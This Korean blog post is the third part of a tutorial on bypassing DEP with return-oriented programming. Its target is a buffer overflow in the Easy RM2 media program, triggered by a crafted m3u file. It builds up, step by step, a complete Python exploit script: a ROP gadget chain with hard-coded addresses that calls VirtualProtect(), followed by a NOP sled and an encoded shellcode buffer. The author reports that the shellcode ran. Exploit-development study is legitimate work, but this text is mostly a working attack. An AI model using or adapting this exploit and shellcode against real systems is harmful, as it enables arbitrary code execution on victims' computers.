ROP를 이용한 DEP 우회공격 – (3) Actual Practice

지난 포스팅 보기 (1) Basic Idea / (2) Warm Up

이제 ROP를 이용한 DEP 우회공격을 실제로 해보도록 하자.

간단하게 지난 시간의 내용을 되짚어보자면.
1. Easy RM2 프로그램에서 m3u 파일 로드시 BoF가 발생하는 것을 확인했고
2. 쓸만한 코드 조각들 (ROP Gadget)을 수집했으며
3. 윈도 API – VirtualProtect()를 강제 호출하여 DEP 우회가 되는 것을 확인했다.

문제는 3번과정에서 VirtualProtect()를 호출할 때 필요한 파라미터 값을
디버거로 직접 수정하는 것이 아니라,
2에서 수집한 ROP Gadget을 이용해 넘겨줘야 한다는 것이다.

즉, ROP Gadget들을 어떻게든 잘 조합해서, 파라미터 1~5 값을 덮어쓰고 함수까지 호출해야만 한다.

아래 메모리 구조는 앞으로의 우리가 제어할 ROP Gadget의 시나리오를 보여주고 있다.1_ROP_Structure

각 단계별로 넣어줘야 할 값들을 하나씩 살펴보도록 하자

① 현재의 스택 포인터(ESP)값을 저장한 후, VirtualProtect() 호출 포인터 아래로 점프한다.
ESP값을 저장하는 이유는 가장 큰 이유는 VirtualProtect()의 파라미터 위치 (ESP + Offset)
에 대한 기준점을 잡기 위해서이다.

② ESP값을 레지스터에 저장한 후 VirtualProtect()에 필요한 파라미터 값을
하나씩 덮어써줘야 한다.

③ 파라미터가 모두 덮어써지면 현재 ESP값을 VirtualProtect() 시작 위치로 설정한 후
RETN 해줌으로써 해당 함수를 실행시킨다.

④ DEP가 해제되면서 ShellCode가 실행된다.

일단 이해가 잘 되지 않을 수 있으나, 실제로 실습을 하다보면 자연스럽게 이해가 된다.

자 그럼 이제 본격적으로 ROP Gadget을 갖고 놀아 보자

 

Step 1 : EIP를 변경하여 스택상의 ROP Gadget 호출하기

먼저 BoF가 발생하는 순간의 스택 구조를 예상해보자.
스택에는 우리가 원하는 행위 (파라미터에 값을 넣고 VirtualProtect를 실행)를 하기 위한
ROP Gadget들의 포인터가 차례대로 들어가 있을 것이다.
(위의 스택 구조 그림 참조)

ROP Gadget들은 서로 체인 형태로 묶여있으므로, 최초 ROP Gadget을 실행하기 위한
Trigger가 필요한 상태이다.
즉 BoF가 발생한 시점의 ESP (최초 ROP Gadget 주소)를 RETN 해주면
자연스럽게 EIP가 ESP값을 참조하게 되고, ROP 체인을 연쇄적으로 실행하게 될것이다.

16_EIP_Change

위와 같이 EIP를 100102DC로 설정하면 RETN 명령어가 실행되고,
현재의 ESP값 – 1002E892 (첫번째 ROP Gadget) – 가 EIP로 설정되면서 ROP 체인이 시작된다

 

Step 2 : ESP값을 저장하고 VirtualProtect()를 뛰어 넘기 (① 화살표)

위에서 설명했다시피 VirtualProtect()함수의 파라미터를 각각 덮어쓰기 위해서
특정 기준점을 잡아줄 필요가 있다.

따라서 현재의 ESP값을 다른 레지스터 (EAX, EDI, ESI 등…)에 저장할 수 있는
ROP Gadget을 rop.txt 파일에서 찾아보도록 하자.

0x1002e892  : # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN

위 명령어를 통해 현재의 ESP값을 스택에 잠시 PUSH한 후, ESI에 저장 (POP) 할 수 있을 것이다.

17_ROP_Gadget_01[ ROP Gadget 실행 결과 – ESP값이 ESI에 저장되었다 ]

그러나, ESI값은 다른 ROP가 돌면서 변경될 가능성이 있으므로, 이 값을 EAX에도 저장해두록 하자

0x1002f703 : # ADD EAX,ESI # POP ESI # RETN

여기서 조심해야 될 부분은 붉은색으로 표시된 ” POP ESI ” 부분이다.
위 코드대로라면 스택포인터가 +4 되면서 원래 실행되어야 할 코드가 아닌
Offset + 4 영역의 코드가 실행되게 된다.

따라서 POP ESI 명령어를 흘려 보내기 위한 적절한 Padding 값을 추가해줘야 한다.

현재의 ESP값이 저장되었으므로, VirtualProtect()를 뛰어넘는 ROP Gadget을 찾아보자
현재의 ESP에서 일정 크기 이상을 뛰어넘는 명령어를 찾으면 충분할 것이다.

0x1002534e  : # ADD EAX,0 # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN

VirtualProtect()를 뛰어 넘기 위해서는 ESP + 최소 20바이트 가 필요한데
rop 검색 결과 쓸만한 코드가 보이지 않았다.
그래서 고민하던 중 일단 ESP에 0xc를 더한 후 POP을 여러번 해주는 Gadget을 발견하여
이 것을 쓰기로 결정하였다.

단, 다음 ROP 체인을 실행하는데 문제가 없도록 적절하게 패딩값을 조절해줘야 한다.

현재까지의 코드는 아래와 같다.

import sys
import struct

file = open ("exploit.m3u" , "w")

junk = "A" * 26064 # junk

eip = struct.pack('<L', 0x100102DC) # retn
junk2 = "AAAA"
rop = struct.pack('<L', 0x1002e892) # ESP -> ESI
rop += struct.pack('<L', 0x1002f703) # ESI -> EAX
rop += "JUNK"

rop += struct.pack('<L', 0x1002534e) # ADD ESP, OxC / pop edi, esi, ebx

# ROP for the VirtualProtect() #
rop += struct.pack('<L', 0x7C801AD4) # VirtualProtect()
rop += "WWWW" #return Address (PARAM1)
rop += "XXXX" #lpAddresss (PARAM2)
rop += "YYYY" #Size (PARAM3)
rop += "ZZZZ" #flNewProtect (PARAM4)
rop += struct.pack('<L', 0x10035005) #writeable address

 

아래 그림은 위 코드를 실행한 결과이다.
디버거에서 프로그램을 연 후 첫번째 RETN (100102DC)에 브레이크 포인트를 설정하여
한 단계씩 실행해보면 ROP Gadget의 실행 원리를 이해할 수 있을 것이다.
(BP는 파일을 로드 하기 전에 설정해야 됨)

18_ROP_Gadget_0102

코드 영역에서 ESP에 0C를 더한 후 POP이 세 번 발생하였다.
이 때 VirtualProtect() 함수 영역 (000FF740 ~ 000FF754)를 건너띄게 되고
RETN 명령어를 통해 다음 ROP Gadget (000FF758)을 실행하게 된다.

이제부터는 임의로 넣어둔 VirtualProtect() 의 파라미터들을 ROP Gadget을 통해
하나씩 바꿔보도록 하자

 

Step 3 : 첫번째 파라미터 (Return Address) 조작

앞선 게시물에서 우리는 VirtualProtect() 함수의 파라미터에 대해 알아보았다.
다시 한번 구조를 살펴보도록 하자.

10_VirtualProtect_Stack

첫번째 파라미터는 Return Address로써, 쉘코드의 주소가 위치해야 할 곳이다.

Step2에서 우리는 ESP값을 EAX와 ESI 두군데 저장해두려고 했으나
POP ESI가 발생하면서  ESI에도 저장되어 있는 스택포인터 값이 사라져버렸다.

따라서 EAX에 저장되어 있는 스택포인터 값을 다른곳에 저장해둘 수 있는 ROP Gadget을 사용했다.

0x100128f7  : # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN

EAX (스택포인터 값)을 EDI에 넣어준 후 불필요한 POP이 두번 더 발생하므로 적절한 패딩을 추가해줘야 한다.

이제 스택포인터가 저장된 두개의 레지스터를 확보한 상태이다.
그렇다면 어떻게 첫번째 파라미터 값을 다른 값으로 덮어쓸 수 있을까.

아래와 같은 방식이라면 가능할 것이다.

1. 첫번째 스택포인터 값(EAX) 에 100바이트 정도를 더한다 (대략 쉘코드가 있는 주소)
2. 두번째 스택포인터 값이 첫번째 파라미터 위치 (ESP + 10)을 가리키도록 한다.
3. 1번 결과값 (EAX)를 2번 위치에 넣어준다

위 명령을 수행할 ROP Gadget을 모으면 아래와 같다.

0x1002dc4c : # ADD EAX,100 # POP EBP # RETN
0x763c982f : # XCHG ESI, EDI # DEC ECX # RETN 4
0x77E84115 : # MOV [ESI+10], EAX # MOV EAX, ESI # POP ESI # RETN

현재까지의 ROP Gadget을 코드로 작성한 후 실행해보자.

import sys
import struct

file = open ("exploit.m3u" , "w")

junk = "A" * 26064 # junk

eip = struct.pack('<L', 0x100102DC) # retn
junk2 = "AAAA"
rop = struct.pack('<L', 0x1002e892) # ESP -> ESI
rop += struct.pack('<L', 0x1002f703) # ESI -> EAX
rop += "JUNK"

rop += struct.pack('<L', 0x1002534e) # ADD ESP, OxC / pop edi, esi, ebx

# ROP for the VirtualProtect() #
rop += struct.pack('<L', 0x7C801AD4) # VirtualProtect()
rop += "WWWW" #return Address (PARAM1)
rop += "XXXX" #lpAddresss (PARAM2)
rop += "YYYY" #Size (PARAM3)
rop += "ZZZZ" #flNewProtect (PARAM4)
rop += struct.pack('<L', 0x10035005) #writeable address

#ROP2 Start --------------------------------------------------------
rop += struct.pack('<L', 0x100128f7) # EAX --> EDI
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # EAX + 100
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x763C982F) # EDI <<---->> ESI
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)

 

실행결과 아래와 같이 첫번째 파라미터 값( Return Address)가 EAX + 100 (쉘코드 위치)로
덮어쓰여진 것을 확인할 수 있다. (스택 영역의 파란색 부분)

19_ROP_Gadget_02

 

Step 4 : 두번째 파라미터 (lpAddress) 조작

두번째 파라미터 값은 보호 수준이 바뀐 메모리 영역의 시작 지점을 가리켜야 하므로
첫번째 파라미터와 동일한 값 (Shellcode 시작 주소)을 넣어주면 된다.

현재 EAX값은 “000FF734” 로써 최초 우리가 “기준점”으로 잡았던 ESP값을 그대로 갖고 있다.
첫번째 파라미터를 조작할 때와 마찬가지로 스택포인터 정보를 2개의 레지스터에 저장해야
작업을 수월하게 할 수 있으므로, EAX값을 ESI에 저장해주는 ROP Gadget을 사용해보자

0x775d131e : # PUSH EAX # POP ESI # RETN

Step 3 에서 했던 것과 마찬가지로 쉘코드 위치를 지정해주는 ROP Gadget과
그 값을 [두번째 파라미터] 위치에 넣어주는 ROP Gadget이 필요하다

먼저 쉘코드의 위치를 지정해주는 가젯은 Step3에서 썼던 것을 그대로 활용한다

0x1002dc4c : # ADD EAX,100 # POP EBP # RETN

그리고 두번째 파라미터는 첫번째 파라미터 위치 (ESI + 10) 보다 4바이트 증가한 곳에 있으므로,
INC ESI / RETN 가젯으로 ESI 값을 미리 증가시킨 후,   EAX값을 ESI에 더해주는 가젯을 사용한다.

0x77157d1d : # INC ESI # RETN –> 4번 사용 (ESI + 4)
0x77e84115 : # MOV [ESI+10], EAX # MOV EAX, ESI # POP ESI # RETN

스택의 모양에 맞게 적절한 패딩값을 넣어줌으로써 아래와 같은 코드가 작성될것이다.

import sys
import struct

file = open ("exploit.m3u" , "w")

junk = "A" * 26064 # junk

eip = struct.pack('<L', 0x100102DC) # retn
junk2 = "AAAA"
rop = struct.pack('<L', 0x1002e892) # ESP -> ESI
rop += struct.pack('<L', 0x1002f703) # ESI -> EAX
rop += "JUNK"

rop += struct.pack('<L', 0x1002534e) # ADD ESP, OxC / pop edi, esi, ebx

# ROP for the VirtualProtect() #
rop += struct.pack('<L', 0x7C801AD4) # VirtualProtect()
rop += "WWWW" #return Address (PARAM1)
rop += "XXXX" #lpAddresss (PARAM2)
rop += "YYYY" #Size (PARAM3)
rop += "ZZZZ" #flNewProtect (PARAM4)
rop += struct.pack('<L', 0x10035005) #writeable address

#ROP2 Start --------------------------------------------------------
rop += struct.pack('<L', 0x100128f7) # EAX --> EDI
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # EAX + 100
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x763C982F) # EDI <<---->> ESI
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)

#ROP3 Start ---------------------------------------------------------

rop += struct.pack('<L', 0x775D131E) # PUSH EAX / POP ESI / RETN
rop += struct.pack('<L', 0x1002dc4c) # EAX + 100
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)

 

코드를 실행하면 아래 그림과 같이 두번째 파라미터 값이 정상적으로 들어간 것을 확인할 수 있다.

20_ROP_Gadget_03

 

Step 5 : 세번째와 네번째 파라미터 (dwsize, protection flag) 조작

세번째 파라미터는 실행할 메모리 영역의 크기로써 0x300바이트 정도면 충분하다.
먼저 앞의 단계와 마찬가지로 EAX(스택포인터)의 백업을 생성한다.

0x775d131e : # PUSH EAX # POP ESI # RETN

다음으로 XOR EAX, EAX를 통해 EAX값을 초기화 시킨 후, ADD EAX, 100을 세 번 수행한다.

0x10018503 : # XOR EAX,EAX # RETN
0x1002dc4c (RVA : 0x0002dc4c) : # ADD EAX,100 # POP EBP # RETN

마지막으로, EAX값 (0x300)을 세번째 파라미터 위치 (ESI + 14)에 덮어쓴다.

0x77157d1d : # INC ESI # RETN –> 4번 사용 (ESI + 4)
0x77e84115 : # MOV [ESI+10], EAX # MOV EAX, ESI # POP ESI # RETN

네번째 파라미터값(보호수준 – ox40) 도 같은 방법으로 기록하면된다.

위의 ROP Gadget을 적용한 코드는 아래와 같다.

import sys
import struct

file = open ("exploit.m3u" , "w")

junk = "A" * 26064 # junk

eip = struct.pack('<L', 0x100102DC) # retn
junk2 = "AAAA"
rop = struct.pack('<L', 0x1002e892) # ESP -> ESI
rop += struct.pack('<L', 0x1002f703) # ESI -> EAX
rop += "JUNK"

rop += struct.pack('<L', 0x1002534e) # ADD ESP, OxC / pop edi, esi, ebx

# ROP for the VirtualProtect() #
rop += struct.pack('<L', 0x7C801AD4) # VirtualProtect()
rop += "WWWW" #return Address (PARAM1)
rop += "XXXX" #lpAddresss (PARAM2)
rop += "YYYY" #Size (PARAM3)
rop += "ZZZZ" #flNewProtect (PARAM4)
rop += struct.pack('<L', 0x10035005) #writeable address

#ROP2 Start --------------------------------------------------------
rop += struct.pack('<L', 0x100128f7) # EAX --> EDI
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # EAX + 100
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x763C982F) # EDI <<---->> ESI
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)

#ROP3 Start ---------------------------------------------------------

rop += struct.pack('<L', 0x775D131E) # PUSH EAX / POP ESI / RETN
rop += struct.pack('<L', 0x1002dc4c) # EAX + 100
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)

#ROP4 Start ---------------------------------------------------------
rop += struct.pack('<L', 0x775D131E) # PUSH EAX / POP ESI / RETN
rop += struct.pack('<L', 0x10018503) # XOR EAX, EAX
rop += struct.pack('<L', 0x1002dc4c) # ADD EAX, 100 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # ADD EAX, 100 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # ADD EAX, 100 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)

#ROP5 Start ---------------------------------------------------------

rop += struct.pack('<L', 0x775D131E) # PUSH EAX / POP ESI / RETN
rop += struct.pack('<L', 0x10018503) # XOR EAX, EAX
rop += struct.pack('<L', 0x1002dc41) # ADD EAX< 40 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)

 

실행한 결과 아래와 같이 모든 파라미터 값이 정상적으로 수정된것을 볼 수 있다.
이제 마지막으로 해야 할 일은 VirtualProtect() 함수를 호출하는 것이다.

21_ROP_Gadget_04

 

Step 6 : VirtualProtect() 로 점프하기

VirtualProtect()함수의 시작점은 위의 스택영역에서 확인할 수 있다시피 “000FF740″이다.
ESP가 이 지점을 가리키도록 만든다면 RETN명령을 통해 VirtualProtect 시작점으로 점프가 가능할 것이다.

현재 EAX 레지스터에 마침 “000FF740″이 저장되어 있으므로, 이 값을 ESP에 넣어주는 ROP Gadget을 찾아보자.

0x73df5ca8 : # PUSH EAX # POP ESP # MOV EAX, EDI # POP EDI # POP ESI # RETN

그러나 POP ESP와 RETN사이에 POP이 추가로 두 번 더 발생하게 되므로,
미리 EAX값을 0x8 바이트만큼 뺀다음 위의 가젯을 실행한다.

0x775d12f1 : # SUB EAX, 4 # RETN –> 2회 수행

위 모든 내용을 담은 Exploit 코드는 아래와 같다.

import sys
import struct

file = open ("exploit.m3u" , "w")

junk = "A" * 26064 # junk

eip = struct.pack('<L', 0x100102DC) # retn
junk2 = "AAAA"
rop = struct.pack('<L', 0x1002e892) # ESP -> ESI
rop += struct.pack('<L', 0x1002f703) # ESI -> EAX
rop += "JUNK"

rop += struct.pack('<L', 0x1002534e) # ADD ESP, OxC / pop edi, esi, ebx

# ROP for the VirtualProtect() #
rop += struct.pack('<L', 0x7C801AD4) # VirtualProtect()
rop += "WWWW" #return Address (PARAM1)
rop += "XXXX" #lpAddresss (PARAM2)
rop += "YYYY" #Size (PARAM3)
rop += "ZZZZ" #flNewProtect (PARAM4)
rop += struct.pack('<L', 0x10035005) #writeable address

#ROP2 Start --------------------------------------------------------
rop += struct.pack('<L', 0x100128f7) # EAX --> EDI
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # EAX + 100
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x763C982F) # EDI <<---->> ESI
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x90909090)

#ROP3 Start ---------------------------------------------------------

rop += struct.pack('<L', 0x775D131E) # PUSH EAX / POP ESI / RETN
rop += struct.pack('<L', 0x1002dc4c) # EAX + 100
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)

#ROP4 Start ---------------------------------------------------------
rop += struct.pack('<L', 0x775D131E) # PUSH EAX / POP ESI / RETN
rop += struct.pack('<L', 0x10018503) # XOR EAX, EAX
rop += struct.pack('<L', 0x1002dc4c) # ADD EAX, 100 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # ADD EAX, 100 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x1002dc4c) # ADD EAX, 100 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)

#ROP5 Start ---------------------------------------------------------

rop += struct.pack('<L', 0x775D131E) # PUSH EAX / POP ESI / RETN
rop += struct.pack('<L', 0x10018503) # XOR EAX, EAX
rop += struct.pack('<L', 0x1002dc41) # ADD EAX< 40 / POP EBP / RETN
rop += struct.pack('<L', 0x90909090)
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77157D1D) # INC ESI / RETN
rop += struct.pack('<L', 0x77E84115) # EAX --> [ESI + 10]
rop += struct.pack('<L', 0x90909090)

#RETN to VirtualProtect() ---------------------------------------------------------
rop += struct.pack('<L', 0x775D12F1) # SUB EAX, 4 / RETN
rop += struct.pack('<L', 0x775D12F1) # SUB EAX, 4 / RETN
rop += struct.pack('<L', 0x73DF5CA8) # PUSH EAX, POP ESP, POP , POP / RETN
buf = ""
buf += "\x89\xe6\xda\xc7\xd9\x76\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x49\x7a\x4b\x6d"
buf += "\x4b\x49\x49\x62\x54\x31\x34\x68\x74\x50\x31\x7a\x72"
buf += "\x4c\x72\x70\x77\x64\x71\x4b\x79\x51\x74\x4e\x6b\x50"
buf += "\x71\x46\x50\x4c\x4b\x74\x36\x34\x4c\x4e\x6b\x62\x56"
buf += "\x55\x4c\x6c\x4b\x42\x66\x56\x68\x4c\x4b\x63\x4e\x55"
buf += "\x70\x4c\x4b\x35\x66\x44\x78\x30\x4f\x34\x58\x42\x55"
buf += "\x69\x63\x32\x79\x67\x71\x78\x51\x6b\x4f\x69\x71\x35"
buf += "\x30\x6c\x4b\x70\x6c\x64\x64\x65\x74\x6e\x6b\x53\x75"
buf += "\x67\x4c\x4e\x6b\x42\x74\x47\x58\x72\x58\x73\x31\x7a"
buf += "\x4a\x4c\x4b\x63\x7a\x45\x48\x4e\x6b\x71\x4a\x37\x50"
buf += "\x76\x61\x6a\x4b\x49\x73\x77\x44\x30\x49\x4c\x4b\x46"
buf += "\x54\x6c\x4b\x43\x31\x48\x6e\x35\x61\x59\x6f\x64\x71"
buf += "\x6f\x30\x4b\x4c\x6e\x4c\x4e\x64\x39\x50\x62\x54\x47"
buf += "\x77\x79\x51\x58\x4f\x44\x4d\x57\x71\x38\x47\x7a\x4b"
buf += "\x58\x74\x57\x4b\x61\x6c\x34\x64\x64\x68\x54\x35\x58"
buf += "\x61\x6c\x4b\x62\x7a\x56\x44\x55\x51\x7a\x4b\x70\x66"
buf += "\x6c\x4b\x36\x6c\x30\x4b\x4c\x4b\x33\x6a\x37\x6c\x33"
buf += "\x31\x58\x6b\x6c\x4b\x77\x74\x4e\x6b\x75\x51\x69\x78"
buf += "\x4f\x79\x32\x64\x37\x54\x55\x4c\x43\x51\x78\x43\x38"
buf += "\x32\x53\x38\x75\x79\x49\x44\x4c\x49\x79\x75\x6d\x59"
buf += "\x7a\x62\x63\x58\x4e\x6e\x30\x4e\x44\x4e\x7a\x4c\x70"
buf += "\x52\x79\x78\x6f\x6f\x59\x6f\x79\x6f\x79\x6f\x4c\x49"
buf += "\x37\x35\x34\x44\x4f\x4b\x51\x6e\x69\x48\x58\x62\x30"
buf += "\x73\x6d\x57\x45\x4c\x51\x34\x51\x42\x4d\x38\x6c\x4e"
buf += "\x69\x6f\x69\x6f\x49\x6f\x6e\x69\x73\x75\x63\x38\x71"
buf += "\x78\x32\x4c\x62\x4c\x57\x50\x77\x31\x63\x58\x36\x53"
buf += "\x44\x72\x34\x6e\x43\x54\x30\x68\x63\x45\x63\x43\x65"
buf += "\x35\x30\x72\x6f\x78\x73\x6c\x47\x54\x55\x5a\x6b\x39"
buf += "\x6d\x36\x53\x66\x4b\x4f\x66\x35\x53\x34\x4d\x59\x6b"
buf += "\x72\x56\x30\x4f\x4b\x6c\x68\x4d\x72\x62\x6d\x6d\x6c"
buf += "\x4b\x37\x65\x4c\x56\x44\x73\x62\x4a\x48\x50\x61\x39"
buf += "\x6f\x59\x6f\x39\x6f\x42\x48\x63\x68\x67\x50\x57\x50"
buf += "\x75\x70\x72\x48\x61\x44\x70\x45\x30\x53\x50\x54\x45"
buf += "\x61\x6b\x6b\x6e\x68\x51\x4c\x67\x54\x46\x64\x4c\x49"
buf += "\x4a\x43\x52\x48\x62\x78\x51\x30\x75\x70\x67\x50\x43"
buf += "\x58\x53\x64\x33\x75\x73\x63\x51\x44\x52\x48\x73\x62"
buf += "\x62\x6f\x66\x30\x57\x50\x70\x68\x62\x77\x50\x54\x62"
buf += "\x66\x67\x50\x36\x51\x6b\x79\x4c\x48\x42\x6c\x45\x74"
buf += "\x36\x6c\x4c\x49\x48\x61\x35\x61\x59\x42\x50\x52\x31"
buf += "\x43\x70\x51\x71\x42\x39\x6f\x7a\x70\x35\x61\x79\x50"
buf += "\x56\x30\x39\x6f\x46\x35\x46\x68\x41\x41"

nop = "\x90" * 200
rest = "C" * 400
payload = junk + eip + junk2 + rop + nop + buf + rest
file.write(payload)
file.close

 

실행 결과 아래와 같이 DEP를 우회하여 쉘코드가 정상적으로 실행되었다. (메시지 박스)

22_final

 

이로써 총 3부작에 걸친 [ROP를 이용한 DEP우회공격] 포스팅을 마치고자 한다.

ROP 가젯 – 코드조각 – 은 먼저 스택구조에 대한 이해가 있어야 사용하기가 수월할 것이다.
따라서, 스택구조가 이해가 가지 않는다면 먼저 선행학습을 한 후 본 실습을 할 것을 권장한다.

또한 exploit-db에 있는 ROP관련 코드는 pushad를 써서 스택과 레지스터에 한번에 값을 밀어넣는 경우가 많다.
이러한 케이스에 대해서도 충분히 스터디 한다면 ROP를 좀 더 적극적으로 활용할 수 있지 않을까 생각된다.

P.S 위에서 사용한 ROP Gadget은 절대값이 아니며, 사용자의 기호(?)에 맞게 변경 후 사용해도 무방함

Site Footer